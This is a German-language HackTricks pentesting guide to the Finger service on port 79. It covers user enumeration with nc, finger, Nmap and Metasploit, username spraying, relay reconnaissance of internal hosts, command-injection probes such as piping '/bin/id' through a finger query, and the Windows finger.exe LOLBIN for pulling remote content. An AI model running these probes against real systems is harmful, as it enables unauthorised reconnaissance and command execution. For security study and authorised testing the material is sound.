79 - Pentesting Finger

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Das Finger-Programm/-Dienst wird verwendet, um Informationen über Computerbenutzer abzurufen. Typischerweise umfassen die bereitgestellten Informationen den Login-Namen des Benutzers, den vollständigen Namen und in manchen Fällen zusätzliche Details. Diese zusätzlichen Angaben können den Bürostandort und die Telefonnummer (falls vorhanden), die Zeit der Benutzeranmeldung, die Dauer der Inaktivität (Idle-Zeit), den letzten Zeitpunkt, an dem Mail vom Benutzer gelesen wurde, sowie den Inhalt der Plan- und Project-Dateien des Benutzers umfassen.

Aus pentesting-Sicht ist Finger weiterhin interessant, da das Protokoll sehr klein, menschenlesbar, und häufig mit veralteter Parsing-Logik implementiert ist. Ein Daemon kann offenbaren:

  • aktuell angemeldete Benutzer
  • vollständige Namen / GECOS-Daten
  • Home-Verzeichnisse, Shells, letzte Login-Zeiten und TTYs
  • Inhalte von .plan / .project
  • relay behaviour um über den ersten Host einen zweiten abzufragen

Standardport: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Das Protokoll ist ASCII over TCP/79, normalerweise mit CRLF terminiert, und der Server schließt die TCP-Verbindung nach der Antwort. In der Praxis genügt oft eine Nullabfrage (\r\n), um die aktuelle Benutzerliste abzurufen, was auch das Standard-finger-NSE-Skript von Nmap macht.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternativ können Sie finger-user-enum von pentestmonkey verwenden, einige Beispiele:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Die wichtige Nuance bei Finger enumeration ist, dass es über verschiedene daemons hinweg kein festes Antwortformat gibt. Tools wie finger-user-enum funktionieren gut gegen Solaris/BSD‑artige Dienste, weil gültige und ungültige Benutzer unterschiedliche Textlayouts erzeugen; Sie müssen jedoch möglicherweise positive und negative Antworten manuell vergleichen und die regexes anpassen, wenn der Zieldaemon ungewöhnlich ist.

Nützliche probes, wenn der daemon sich nicht wie das Standard Solaris/BSD verhält:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap führt ein script mithilfe der default scripts aus

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Das Nmap-finger NSE-Skript ist sicher und sendet einfach eine null query, um die aktuelle Benutzerliste abzurufen. Wenn Sie breiteres username guessing gegen permissive daemons durchführen möchten, sollten Sie den Ansatz mit custom wordlists erweitern oder Projekte wie fat-finger.nse verwenden, die mehrere wahrscheinliche account names in einer Anfrage senden und nach username/GECOS-Übereinstimmungen suchen.

Metasploit verwendet mehr Tricks als Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Befehlsausführung

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 erlaubt ausdrücklich, dass Implementierungen ein vom Benutzer kontrolliertes Programm als Reaktion auf eine Finger-Abfrage ausführen, was den klassischen |/bin/...-Missbrauch erklärt. Das ist heute selten, aber wenn Sie einen benutzerdefinierten oder veralteten Daemon finden, testen Sie sorgfältig auf:

  • shell metacharacters in username handling
  • |program execution in plan/project hooks
  • backend wrappers that pass the username to a shell script or CGI

Auch denken Sie an den client-side Abuse-Pfad unter Windows: finger.exe ist ein signierter LOLBIN, der beliebigen Text von einem entfernten Finger-Server über TCP/79 abrufen und diese Ausgabe in einen anderen Prozess weiterleiten kann. Diese Technik ist für post-exploitation relevanter als für service enumeration, siehe the Linux reverse-shell page für die Idee des shell-Transports und behalten Sie sie im Hinterkopf, wenn Sie attacker tradecraft nachahmen.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Das ist nicht nur eine Implementierungsbesonderheit: RFC 1288 definiert rekursive @hostname-Weiterleitung ({Q2}-Anfragen). Wenn der Daemon Relaying unterstützt, öffnet der intermediate server die zweite Finger-Verbindung für dich und gibt die Antwort über den ursprünglichen Socket zurück. Das bedeutet:

  • Dein Host kann möglicherweise nicht direkt eine Verbindung zum endgültigen Ziel herstellen
  • Das Relay kann verwendet werden, um enumerate internal users von einem exponierten Finger-Service durchzuführen
  • finger-user-enum unterstützt dies nativ mit -r <relay>

Beispiel:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Wenn relaying funktioniert, nutze es als internal recon primitive und vergleiche die relayed output mit der direkten Ausgabe des public daemon. Unterschiedliche Formatierung oder Filterung zeigt oft, ob der relay path von einem separaten backend oder wrapper gehandhabt wird.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks